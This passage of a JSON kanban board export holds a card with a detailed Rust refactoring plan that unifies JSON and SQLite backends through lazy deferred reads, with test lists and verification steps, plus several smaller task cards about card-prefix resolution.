store.load().await\ndirectly. SaveCoordinator sends () flush signals instead of Snapshot blobs; save worker calls backend.flush().await on each\nsignal. TuiContext uses needs_save_worker() to decide whether to spawn the background worker.\nFiles: crates/kanban-tui/src/app/mod.rs, crates/kanban-tui/src/state/mod.rs, crates/kanban-tui/src/tui_context.rs,\ncrates/kanban-tui/src/handlers/settings_handlers.rs\n\nSTEP 7 — Unify App Initialization [PENDING]\nReplace divergent is_sqlite forks in all three apps with open_context().\n\nTUI: Collapse App::new_with_store() + App::open_sqlite() into App::new(ctx: KanbanContext). Remove TuiContext::from_context();\n TuiContext::new(ctx) is the only constructor. SaveCoordinator::new() uses ctx.backend().needs_save_worker() instead of\nstore.is_some().\n\nCLI: Remove if is_sqlite { App::open_sqlite() } else { App::new_with_store() } fork in app.rs. CliContext::load() calls\nkanban_service::open_context() directly. Remove StoreManager parameter.\n\nMCP: McpContext::new() calls kanban_service::open_context() directly. Remove StoreManager parameter.\n\nDelete dead code: App::open_sqlite(), App::new_with_store(), TuiContext::from_context(), resolve_is_sqlite() helper.\n\nTDD tests to write first:\n- test_tui_context_single_constructor_json (save_rx is Some)\n- test_tui_context_single_constructor_sqlite (save_rx is None)\n- test_cli_init_and_run_json_unified_path\n- test_cli_init_and_run_sqlite_unified_path\n- test_mcp_list_boards_json_unified_path\n- test_mcp_list_boards_sqlite_unified_path\n\nFiles to modify:\n- crates/kanban-cli/src/app.rs\n- crates/kanban-cli/src/context.rs\n- crates/kanban-mcp/src/context.rs\n- crates/kanban-mcp/src/server.rs\n- crates/kanban-tui/src/app/mod.rs\n- crates/kanban-tui/src/tui_context.rs\n\nVERIFICATION (all steps)\n1. cargo test --workspace — all tests pass\n2. cargo run -- init --name Test test.json && cargo run test.json — JSON path works\n3. cargo run -- init --name Test test.sqlite && cargo run test.sqlite — SQLite path works\n4. Modify test.json externally while TUI open → conflict banner appears\n5. Modify test.sqlite externally → next read reflects new state transparently\n6. MCP tool calls persist for both backends\n7. Undo/redo works on both backends after lazy baseline change\" \\\n  --priority High\n\nVerification\n\nAfter running the command, open the TUI (kanban ~/notes/memes/kanban.json) and confirm the card\nappears in the TODO column.\n\nContext\n\nThe project has two backends (JSON, SQLite) and three apps (TUI, CLI, MCP) with divergent initialization paths. The goal is\nnot just a surface unification — the underlying requirement is true deferred reads: open_context() should establish a\nconnection and do zero I/O. Data is only read from disk/DB when a specific entity is first requested.\n\nThis solves all three pain points simultaneously:\n- Startup time: nothing loaded until the UI actually renders\n- Staleness: reload() on file-watch event is well-defined per backend\n- Extensibility: remote backends (PostgreSQL, HTTP API) are natural — each DataStore method becomes a network call\n\n---\nCurrent State: Why the Model Is Wrong\n\nThe Snapshot Bootstrap Problem\n\nKanbanContext::load(store, config) today:\n1. Calls PersistenceStore::load() → fetches full snapshot blob\n2. Deserializes everything into InMemoryStore (all boards, columns, cards, sprints)\n3. Loads the entire command log\n4. Takes a baseline_snapshot of the full state\n\nThis is eager-load-everything regardless of what the user actually needs to see.\n\nThe Two-Path Problem\n\nJSON path:   KanbanContext::load(store) → InMemoryStore (full eager hydration)\nSQLite path: KanbanContext::open_sqlite() → SqliteStore (bypasses snapshot, but\n             still loads command log state upfront)\n\nAll three apps fork on is_sqlite. The fork exists because the two paths have fundamentally different initialization contracts.\n\nWhy SQLite Is Already Half-Right\n\nSqliteStore already implements DataStore with real SQL queries — list_boards() is SELECT * FROM boards,\nlist_columns_by_board(id) is SELECT ... WHERE board_id = ?. There is no pre-load. The problem is that\nKanbanContext::open_sqlite() still loads command log state eagerly, and the rest of the codebase bypasses this with the\nsnapshot model anyway.\n\n---\n\nThe PersistenceStore blob interface (load/save full snapshot) is used as the initialization protocol for KanbanContext. This\nforces everything through a full-load. The correct initialization protocol is: establish a connection, do nothing else.\n\nThe fine-grained DataStore trait (already defined in kanban-domain) is the right lazy interface. KanbanContext should always\nread through DataStore methods, never through blob snapshots during normal operation. Snapshots become a utility for\nimport/export/migration only.\n\nTarget Architecture\n---\n\nPrinciple: DataStore + CommandStore as the Sole Runtime Interface\n\nNormal operation:   KanbanContext → DataStore / CommandStore methods (lazy, per-entity)\nImport/Export:      KanbanContext → PersistenceStore (snapshot blob, on demand)\n\nExtend KanbanBackend with Lifecycle Methods\n\nKanbanBackend (in kanban-service/src/backend.rs) gains three methods:\n\npub trait KanbanBackend: DataStore + CommandStore + Send + Sync {\n    fn as_data_store(&self) -> &dyn DataStore;\n\n    // New lifecycle:\n    async fn flush(&self) -> KanbanResult<()> { Ok(()) }   // default no-op\n    async fn reload(&self) -> KanbanResult<()> { Ok(()) }  // default no-op\n    fn needs_flush(&self) -> bool { false }                 // default: always in sync\n}\n\n- SQLite: flush() = WAL checkpoint, reload() = no-op (reads are always live), needs_flush() = false\n- JsonDataStore (new): flush() = serialize cache to file, reload() = re-read file + clear cache, needs_flush() = tracks dirty\nstate\n\nJsonDataStore (New Type)\n\nLives in crates/kanban-service/src/json_backend.rs (has access to both InMemoryStore and JsonFileStore).\n\nJsonDataStore {\n    path: PathBuf,\n    inner: RwLock<Option<InMemoryStore>>,   // None until first access\n    file_store: Arc<JsonFileStore>,\n    dirty: AtomicBool,\n}\n\n- Any DataStore or CommandStore method call checks inner.is_none() → if so, reads the JSON file and populates InMemoryStore\n(the one-time lazy load)\n- Subsequent calls are served from the in-memory cache\n- Writes update the cache + set dirty = true\n- flush() serializes the in-memory state to JSON via JsonFileStore\n- reload() sets inner = None → next access re-reads the file\n\nThis is the one place where \"lazy\" still reads the full JSON file — because JSON is a single blob, there's no way to partially\n read it. But the load is deferred until something actually needs data, making open_context() instantaneous even for large\nfiles.\n\nKanbanContext — Single Constructor, Zero Initial I/O\n\npub struct KanbanContext {\n    backend: Arc<dyn KanbanBackend>,\n    app_config: AppConfig,\n    baseline_snapshot: Option<Snapshot>,    // None until first write\n    undo_cursor: usize,\n    command_count: usize,\n    dirty: bool,\n    conflict_pending: bool,\n}\n\nimpl KanbanContext {\n    pub async fn open(backend: Arc<dyn KanbanBackend>, config: AppConfig) -> KanbanResult<Self> {\n        // Zero I/O. Just wraps the backend.\n        Ok(Self {\n            backend,\n            app_config: config,\n            baseline_snapshot: None,    // lazy: captured on first write\n            undo_cursor: 0,\n            command_count: 0,           // lazy: read from CommandStore on first undo/redo\n            dirty: false,\n            conflict_pending: false,\n        })\n    }\n}\n\nUndo baseline captured lazily:\nOn first execute(commands) call, if baseline_snapshot.is_none(), take a snapshot of current backend state and store it. The\nbaseline is the state at the time of first write, which is the correct semantic anyway.\n\nCommand count restored lazily:\nOn first undo/redo, if needed, call backend.command_count() to restore cursor position from the backend.\n\nUnified Public Entry Point\n\nIn crates/kanban-service/src/lib.rs:\n\npub async fn open_context(locator: &str, config: AppConfig) -> KanbanResult<KanbanContext> {\n    let mut config = config;\n    let sm = StoreManager::new(default_registry());\n    sm.sync_backend_with_file(locator, &mut config);\n    let backend: Arc<dyn KanbanBackend> = sm.make_backend(locator, &config).await?;\n    KanbanContext::open(backend, config).await\n}\n\nAll three apps:\nlet ctx = kanban_service::open_context(&file_path, config).await?;\n// Zero I/O has happened. First render triggers actual data reads.\n\nStoreManager::make_backend()\n\nNew method in StoreManager that returns Arc<dyn KanbanBackend>:\n\npub async fn make_backend(\n    &self,\n    locator: &str,\n    config: &AppConfig,\n) -> KanbanResult<Arc<dyn KanbanBackend>> {\n    if self.is_sqlite(locator) {\n        Ok(Arc::new(SqliteStore::open(locator).await?))\n    } else {\n        let store = self.make_store(\"json\", locator)?;    // existing PersistenceStore\n        Ok(Arc::new(JsonDataStore::new(store)))\n    }\n}\n\n---\nStaleness / External Change Handling\n\nWith reload() on KanbanBackend:\n- FileWatcher fires → KanbanContext calls backend.reload()\n- For JSON: clears the in-memory cache. Next DataStore call re-reads the file.\n- For SQLite: no-op. Reads are always live against the DB.\n- If dirty is true when reload fires → conflict_pending = true (existing conflict UI)\n\nThis replaces the current FileMetadata mtime/hash conflict detection in JsonFileStore with a cleaner model: the context owns\nconflict state, not the store.\n\n---\nWhat Happens to PersistenceStore\n\nPersistenceStore trait and its implementations stay. Their role narrows:\n- Import: load a snapshot blob and call backend.apply_snapshot()\n- Export: call backend.snapshot() and pass to PersistenceStore::save()\n- Migration: blob-level version upgrades (V1→V2 JSON envelope etc.)\n- NOT used: for normal app startup or runtime reads\n\nStoreFactory / StoreRegistry stay for this purpose. StoreManager::make_store() stays for import/export flows.\n\n---\n### TDD Workflow (Mandatory for Every Step)\n\nEach step follows Red → Green → Refactor:\n1. Red: Write failing tests that specify the expected behaviour. Present for review before implementing.\n2. Green: Minimum implementation to make tests pass.\n3. Refactor: Clean up without breaking tests.\n\ncargo test --workspace must pass at the end of every step.\n\n---\nRecommended Order of Work\n\n### Step 1 — Extend KanbanBackend with lifecycle methods\n\nWhy: KanbanBackend (backend.rs:8) currently has only as_data_store(). We need flush, reload, needs_flush so that KanbanContext\n can delegate persistence without knowing which backend it holds.\n\nRed — tests to write first (crates/kanban-persistence-sqlite/src/sqlite_store.rs, inline #[cfg(test)]):\ntest_sqlite_backend_needs_flush_returns_false\ntest_sqlite_backend_flush_executes_wal_checkpoint\ntest_sqlite_backend_reload_is_noop  (list_boards before and after reload returns same data)\ntest_in_memory_store_lifecycle_defaults_are_noop\nUse real TempDir SQLite file. Pattern: SqliteStore::open(tmp.path()).await?.\n\nGreen — changes:\n\ncrates/kanban-service/src/backend.rs:\n- Line 9 (after as_data_store): add three methods with default no-op impls:\nasync fn flush(&self) -> KanbanResult<()> { Ok(()) }\nasync fn reload(&self) -> KanbanResult<()> { Ok(()) }\nfn needs_flush(&self) -> bool { false }\n\ncrates/kanban-persistence-sqlite/src/sqlite_store.rs:\n- Locate the impl KanbanBackend for SqliteStore block (currently only has as_data_store)\n- Add concrete impls:\n  - flush(): call self.checkpoint().await (checkpoint method already exists at ~line 1654)\n  - reload(): Ok(()) — SQLite reads are always live\n  - needs_flush(): false — write-through\n\ncrates/kanban-domain/src/in_memory_store.rs:\n- InMemoryStore will use the default no-op impls (no explicit impl needed; covered by blanket impl on KanbanBackend)\n\nRefactor: Confirm the blanket impl at backend.rs:13-17 still compiles with the new default methods.\n\n---\n### Step 2 — Create JsonDataStore\n\nWhy: Currently the JSON path requires creating InMemoryStore + JsonFileStore separately, wired together inside\nKanbanContext::load(). This forces eager loading on construction. JsonDataStore encapsulates this pair and makes loading lazy\n— the file is not read until the first DataStore method call.\n\nRed — tests to write first (inline #[cfg(test)] in new crates/kanban-service/src/json_backend.rs):\ntest_json_data_store_construction_does_no_io\n  (assert file not read: create store pointing at non-existent path, construction succeeds)\ntest_json_data_store_list_boards_triggers_load\n  (create JSON file with 1 board; construction ok; assert inner is None; call list_boards(); assert returns 1 board)\ntest_json_data_store_needs_flush_false_when_clean\ntest_json_data_store_needs_flush_true_after_upsert\ntest_json_data_store_flush_writes_to_disk\n  (upsert board; flush(); create new JsonDataStore at same path; list_boards() returns the board)\ntest_json_data_store_reload_clears_cache\n  (load; modify file externally; reload(); list_boards() returns updated data)\ntest_json_data_store_command_log_round_trip\n  (append commands; flush(); create fresh store; command_count() returns correct value)\nUse real TempDir JSON files via kanban_persistence_json::JsonStoreFactory.\n\nGreen — new file crates/kanban-service/src/json_backend.rs:\npub struct JsonDataStore {\n    file_store: Arc<dyn PersistenceStore + Send + Sync>,\n    inner: RwLock<Option<InMemoryStore>>,\n    dirty: AtomicBool,\n}\n- fn new(store: Arc<dyn PersistenceStore + Send + Sync>) -> Self — stores only, no I/O\n- Private fn ensure_loaded(&self) -> KanbanResult<()>:\n  - Acquires write lock on inner\n  - If None: calls file_store.load() (or returns empty InMemoryStore if !file_store.exists())\n  - Deserializes StoreSnapshot.data into Snapshot\n\n  - Calls InMemoryStore::apply_snapshot(snapshot)\n  - Restores command log from file_store.get_command_log() into InMemoryStore\n  - Sets inner = Some(store)\n- Every DataStore and CommandStore method: calls ensure_loaded() then delegates to inner\n- Write methods additionally set dirty.store(true, Ordering::Release)\n- flush(): if dirty, serialize snapshot + command log → call file_store.save() + file_store.sync_command_log(); clear dirty\n- reload(): set inner = None (next access re-reads file); clear dirty\n- needs_flush(): return dirty.load(Ordering::Acquire)\n\nAlso add impl KanbanBackend for JsonDataStore (delegates to above lifecycle methods). Add to crates/kanban-service/src/lib.rs\nmodule declaration.\n\nRefactor: Extract snapshot serialization helper (reuse snapshot_to_json_bytes / snapshot_from_json_bytes from existing\nkanban-persistence crate).\n\n---\n### Step 3 — Simplify KanbanContext\n\nWhy: KanbanContext currently has a store: Option<Arc<dyn PersistenceStore>> field (context.rs:45) whose presence/absence\nencodes which backend path we're on. save() (lines 422-445) and reload() (lines 398-410) both have let Some(store) =\n&self.store else { return Ok(()) } guards. baseline_snapshot (line 46) is eagerly set on construction, forcing a snapshot\nread. All of this disappears with the new model.\n\nRed — integration tests in new crates/kanban-service/tests/context_open.rs:\ntest_open_context_json_does_no_io_at_construction\n  (point at non-existent path; KanbanContext::open(JsonDataStore::new(...), cfg) succeeds immediately)\ntest_open_context_sqlite_does_no_io_at_construction\n  (same for SqliteStore)\ntest_open_context_first_list_boards_triggers_load\n  (create JSON with 1 board; open context; list_boards() returns 1)\ntest_open_context_baseline_is_none_before_first_execute\n  (ctx.baseline_snapshot is None before any execute)\ntest_open_context_baseline_captured_on_first_execute\n  (create_board; ctx.baseline_snapshot is Some)\ntest_open_context_save_flushes_json_not_sqlite\n  (JSON: save() causes dirty=false; SQLite: save() is no-op, no-op is fine)\ntest_open_context_reload_delegates_to_backend\n  (modify JSON externally; ctx.reload(); list_boards() returns updated data)\ntest_undo_redo_still_work_after_lazy_baseline\n\nGreen — changes to crates/kanban-service/src/context.rs:\n\nStruct (lines 42-51):\n- Line 45: REMOVE store: Option<Arc<dyn PersistenceStore + Send + Sync>>\n- Line 46: CHANGE baseline_snapshot: Snapshot → baseline_snapshot: Option<Snapshot>\n\nNew constructor (replaces load, open_sqlite, open_json, empty):\n// Replaces lines 54-147\npub async fn open(backend: Arc<dyn KanbanBackend>, config: AppConfig) -> KanbanResult<Self> {\n    Ok(Self {\n        backend,\n        app_config: config,\n        baseline_snapshot: None,   // lazy: set on first execute()\n        undo_cursor: 0,            // lazy: restored on first undo/redo\n        command_count: 0,          // lazy: restored from backend.command_count() on first undo/redo\n        dirty: false,\n        conflict_pending: false,\n    })\n}\nRemove load() (lines 54-99), open_sqlite() (lines 108-124), open_json() (lines 127-131), empty() (lines 133-147).\n\nexecute() — lazy baseline (lines 199-259):\n- Lines 205-209: Before capturing pre-execution snapshot, if baseline_snapshot.is_none():\nif self.baseline_snapshot.is_none() {\n    self.baseline_snapshot = Some(self.backend.snapshot()?);\n    self.command_count = self.backend.command_count() as usize;\n    self.undo_cursor = self.command_count;\n}\n\nundo() — lazy command count (lines 267-300):\n- If self.command_count == 0 and undo_cursor == 0 at start, restore from backend:\nif self.command_count == 0 {\n    self.command_count = self.backend.command_count() as usize;\n    self.undo_cursor = self.command_count;\n    self.baseline_snapshot = Some(self.backend.snapshot()?);\n}\n\nsave() (lines 422-445):\n- Remove let Some(store) = &self.store else { return Ok(()) } guard (lines 423-425)\n- Remove the entire body; replace with:\npub async fn save(&self) -> KanbanResult<()> {\n    self.backend.flush().await\n}\n\nreload() (lines 398-410):\n- Remove let Some(store) = &self.store else { return Ok(()) } guard (lines 399-401)\n- Replace body with:\npub async fn reload(&mut self) -> KanbanResult<()> {\n    self.backend.reload().await?;\n    self.baseline_snapshot = None;\n    self.undo_cursor = 0;\n    self.command_count = 0;\n    self.dirty = false;\n    Ok(())\n}\n\nRemove or adapt:\n- replace_store() method (line 391) — REMOVE (no more store field)\n- store() getter (line 395) — REMOVE\n\nRefactor: All callers of ctx.store() and ctx.replace_store() — grep and fix. The is_dirty(), mark_dirty(), mark_clean() (lines\n 367-375) remain unchanged.\n\n---\n### Step 4 — StoreManager::make_backend()\n\nWhy: StoreManager::make_store() (lines 106-112) returns Arc<dyn PersistenceStore>. We need make_backend() that returns Arc<dyn\n KanbanBackend>, hiding the JSON vs SQLite construction difference.\n\nRed — tests (inline in store_manager.rs):\ntest_make_backend_json_path_returns_json_data_store\ntest_make_backend_sqlite_path_returns_sqlite_store\ntest_make_backend_detects_sqlite_by_magic_bytes\n  (write a real SQLite file without extension; make_backend detects it correctly)\ntest_make_backend_detects_json_by_content\n  (write a JSON file without extension; make_backend detects it correctly)\nAll use TempDir.\n\nGreen — add to crates/kanban-service/src/store_manager.rs after make_store() (line 112):\npub async fn make_backend(\n    &self,\n    locator: &str,\n    config: &AppConfig,\n) -> KanbanResult<Arc<dyn KanbanBackend>> {\n    if self.is_sqlite(locator) {\n        #[cfg(feature = \"sqlite\")]\n        return Ok(Arc::new(SqliteStore::open(locator).await\n            .map_err(|e| KanbanError::Database(e.to_string()))?));\n        #[cfg(not(feature = \"sqlite\"))]\n        return Err(KanbanError::Internal(\"SQLite feature not enabled\".into()));\n    }\n    let store = self.make_store(\n        config.effective_storage_backend(),\n        locator\n    )?;\n    Ok(Arc::new(JsonDataStore::new(store)))\n}\n\nRefactor: Reuse is_sqlite() (lines 56-66) and detect_backend() (lines 71-90) — no duplication.\n\n---\n### Step 5 — kanban_service::open_context()\n\nWhy: This is the single public entry point that all three apps will call. It replaces the\nStoreManager::sync_backend_with_file() + KanbanContext::load() / open_sqlite() dance that is currently duplicated in\nCliContext::load() (context.rs:17-33), McpContext::new() (mcp/context.rs:15-31), and App::new_with_store() /\nApp::open_sqlite() (tui/app/mod.rs:198-361).\n\nRed — integration tests in crates/kanban-service/tests/open_context.rs:\ntest_open_context_json_end_to_end\n  (init JSON file; open_context(); create_board(); save(); reopen; list_boards() returns board)\ntest_open_context_sqlite_end_to_end\n  (same for SQLite)\ntest_open_context_auto_detects_backend_from_magic_bytes\n  (create unlabelled SQLite file; open_context detects SQLite; CRUD works)\ntest_open_context_new_file_starts_empty\n  (point at non-existent path; open_context(); list_boards() returns [])\n\nGreen — add to crates/kanban-service/src/lib.rs (after default_registry() at line 39):\npub async fn open_context(locator: &str, config: AppConfig) -> KanbanResult<KanbanContext> {\n    let mut config = config;\n    let sm = StoreManager::new(default_registry());\n    sm.sync_backend_with_file(locator, &mut config);\n    let backend = sm.make_backend(locator, &config).await?;\n    KanbanContext::open(backend, config).await\n}\n\nRefactor: Nothing to delete yet — keep old exports until Step 7.\n\n---\n### Step 6 — Wire FileWatcher to backend.reload()\n\nWhy: Currently App::auto_reload_from_external_change() (app/mod.rs:2210) loads from disk by calling store.load().await\ndirectly — it knows about the PersistenceStore. After this step, external change handling goes through ctx.reload() →\nbackend.reload(), which works for both JSON (clears cache) and SQLite (no-op, reads are live). The FileMetadata mtime/hash\npath in JsonFileStore can be retired.\n\nRed — TUI integration test in crates/kanban-tui/tests/:\ntest_external_json_change_triggers_reload_when_clean\n  (open JSON ctx; write new board to file externally; simulate watcher event;\n   assert list_boards() returns the new board without manual reload)\ntest_external_json_change_sets_conflict_when_dirty\n  (open JSON ctx; create board (dirty=true); write file externally; simulate watcher event;\n   assert ctx.conflict_pending == true)\ntest_external_sqlite_change_is_transparent\n  (open SQLite ctx; insert row externally; list_boards() immediately returns new row — no reload needed)\n\nGreen — changes to crates/kanban-tui/src/app/mod.rs:\n\nauto_reload_from_external_change() (line 2210):\n- Replace the current store.load().await call with:\nasync fn auto_reload_from_external_change(&mut self) -> KanbanResult<()> {\n    if self.ctx.is_dirty() {\n        self.ctx.set_conflict_pending(true);\n        return Ok(());\n    }\n    self.ctx.reload().await?;   // delegates to backend.reload()\n    Ok(())\n}\n- Remove store reference; no more PersistenceStore access in TUI\n\nRefactor: Remove FileMetadata import from JsonFileStore if it's no longer used externally. The conflict detection logic (mtime\n + size + hash) inside JsonFileStore::save() can remain as an internal guard — it's not the reload trigger anymore.\n\n---\n### Step 7 — Unify App Initialization\n\nWhy: After Steps 1-6, KanbanContext::open() is the correct single entry point. The if is_sqlite forks in all three apps become\n dead code.\n\nTUI changes (crates/kanban-tui/src/app/mod.rs and tui_context.rs):\n\nTuiContext::new(store) (tui_context.rs:22-39) and TuiContext::from_context(ctx) (tui_context.rs:45-58):\n- Collapse to single TuiContext::new(ctx: KanbanContext) -> (Self, Option<Receiver<Snapshot>>, ...):\n  - SaveCoordinator::new(ctx.backend().needs_flush()) — replaces store.is_some() at tui_context.rs:31\n  - If needs_flush(): create save channel and return Some(rx)\n  - If not: return None\n\nApp::new_with_store() (app/mod.rs:198-286) and App::open_sqlite() (app/mod.rs:293-361):\n- Replace with single App::new(ctx: KanbanContext, config: AppConfig) -> KanbanResult<(Self, Option<Receiver<Snapshot>>)>\n- No more store_manager.make_store() inside App; App just takes a pre-built KanbanContext\n\nCLI fork (app.rs:285-301):\n- Remove the if is_sqlite { App::open_sqlite(...) } else { App::new_with_store(...) } block\n- Replace with:\nlet ctx = kanban_service::open_context(&effective_file, config).await?;\nlet (mut app, save_rx) = App::new(ctx, app_config)?;\napp.set_error_log(error_log);\napp.run(save_rx).await?;\n\nCliContext::load() (kanban-cli/src/context.rs:17-33):\n- Replace body with:\npub async fn load(locator: &str, config: AppConfig) -> KanbanResult<Self> {\n    Ok(Self { inner: kanban_service::open_context(locator, config).await? })\n}\n- Remove store_manager parameter — no longer needed\n\nMcpContext::new() (kanban-mcp/src/context.rs:15-31):\n- Replace body with:\npub async fn new(data_file: &str, config: AppConfig) -> KanbanResult<Self> {\n    Ok(Self { inner: kanban_service::open_context(data_file, config).await? })\n}\n- Remove store_manager parameter\n\nRed — tests to write first:\n// kanban-cli/tests/\ntest_cli_init_and_run_json_unified_path\ntest_cli_init_and_run_sqlite_unified_path\n// kanban-mcp/tests/\ntest_mcp_list_boards_json_unified_path\ntest_mcp_list_boards_sqlite_unified_path\n// kanban-tui/tests/\ntest_tui_context_single_constructor_json\ntest_tui_context_single_constructor_sqlite\n  (assert save_rx is Some for JSON, None for SQLite)\n\nRefactor — delete dead code:\n- App::open_sqlite() (app/mod.rs:293-361) — entire method\n- App::new_with_store() (app/mod.rs:198-286) — entire method (replaced by App::new())\n- TuiContext::from_context() (tui_context.rs:45-58) — entire method\n- resolve_is_sqlite() helper in kanban-cli (wherever defined)\n- KanbanContext::open_sqlite() (context.rs:108-124) — already removed in Step 3\n- StoreManager parameter from CliContext::load and McpContext::new call sites\n\n---\nWhat This Unlocks\n\n- Startup is instant: open_context() = connection only. First render triggers first read.\n- Staleness handled uniformly: reload() is well-defined on both backends.\n- Remote backends trivial: implement DataStore + CommandStore + KanbanBackend. Each method = a network call. needs_flush() =\nfalse (write-through). flush() = no-op.\n- Pagination path clear: DataStore methods already take no limit/offset, but they can be extended. The lazy model means adding\n list_cards_paginated(column_id, page, size) doesn't require rethinking the initialization protocol.\n- No SQLite special-casing: both backends implement the same interface.\n\n---\nFiles to Modify\n\n┌──────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐\n│                         File                         │                            Change                            │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-service/src/backend.rs                 │ Add flush, reload, needs_flush to KanbanBackend              │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-service/src/json_backend.rs            │ New: JsonDataStore (lazy InMemory + JsonFileStore)           │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-service/src/context.rs                 │ Single open() constructor, lazy baseline, remove store field │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-service/src/store_manager.rs           │ Add make_backend() method                                    │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-service/src/lib.rs                     │ Expose open_context()                                        │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-persistence-sqlite/src/sqlite_store.rs │ Impl KanbanBackend lifecycle methods                         │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-cli/src/app.rs                         │ Remove is_sqlite fork                                        │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-cli/src/context.rs                     │ Call open_context()                                          │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-mcp/src/server.rs                      │ Call open_context()                                          │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-mcp/src/context.rs                     │ Call open_context()                                          │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-tui/src/app/mod.rs                     │ Collapse two constructors                                    │\n├──────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤\n│ crates/kanban-tui/src/tui_context.rs                 │ Remove from_context() vs new() split                         │\n└──────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘\n\n---\nNon-Goals / Deferred\n\n- Pagination / streaming: DataStore API stays as-is for now. The lazy model is a prerequisite — do this first.\n- StoreFactory::create() async wart (block_in_place): separate concern, leave for later.\n- Command log protocol divergence (JSON envelope vs SQLite tables): JsonDataStore handles this internally. No protocol\nunification needed.\n- ID type aliases vs newtypes, TOCTOU in modify_graph: out of scope.\n\n---\nVerification\n\n1. cargo test --workspace — all existing tests pass\n2. cargo run -- init --name \"Test\" test.json && cargo run test.json — JSON works, first render triggers file read\n3. cargo run -- init --name \"Test\" test.sqlite && cargo run test.sqlite — SQLite works, each view triggers DB query\n4. Modify test.json externally while TUI is open → conflict banner appears\n5. Modify test.sqlite externally while TUI is open → next read reflects new state transparently\n6. MCP tool calls persist correctly for both backends (write-through for SQLite, flush for JSON)\n7. Undo/redo works correctly on both backends after the lazy baseline change\n─────────────────────────────────────────────────────────────────────────────────\n",
        "due_date": null,
        "id": "6cbed515-7e76-41ce-9449-e045891c9092",
        "points": null,
        "position": 150,
        "priority": "High",
        "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:26.701583312Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Architecture: Unified Backends via True Deferred Reads",
        "updated_at": "2026-05-07T22:06:09.412139502Z"
      },
      {
        "card_number": 343,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-14T00:29:35.824251092Z",
        "description": "Both Card::branch_name() and CardIdentifierSearcher::get_identifier() manually duplicate the sprint.card_prefix → board.card_prefix → \"task\" chain instead of calling Sprint::effective_card_prefix(). They're functionally equivalent today but will silently diverge if the resolution logic changes. Refactor both to use the shared method.",
        "due_date": null,
        "id": "6151d73c-f3f7-405a-a471-69e2c1611487",
        "points": null,
        "position": 150,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245111880Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126560074Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245112503Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Unify card identifier prefix resolution via Sprint::effective_card_prefix()",
        "updated_at": "2026-05-07T22:06:15.245112967Z"
      },
      {
        "card_number": 345,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-14T00:29:50.073166725Z",
        "description": "UpdateSprint currently blocks ALL card_prefix changes (Set and Clear) once cards are assigned. Clearing the prefix is arguably safe — it would fall back to board.card_prefix rather than storing a stale value. Decide whether Clear should be allowed post-assignment and add a comment explaining the decision either way.",
        "due_date": null,
        "id": "b9039b74-c801-481f-a197-931b42b5dc15",
        "points": null,
        "position": 151,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245114450Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126580226Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245114953Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Consider allowing sprint card_prefix Clear even after cards are assigned",
        "updated_at": "2026-05-07T22:06:15.245115240Z"
      },
      {
        "card_number": 406,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-08T00:44:07.871029832Z",
        "created_at": "2026-05-07T22:35:49.026848073Z",
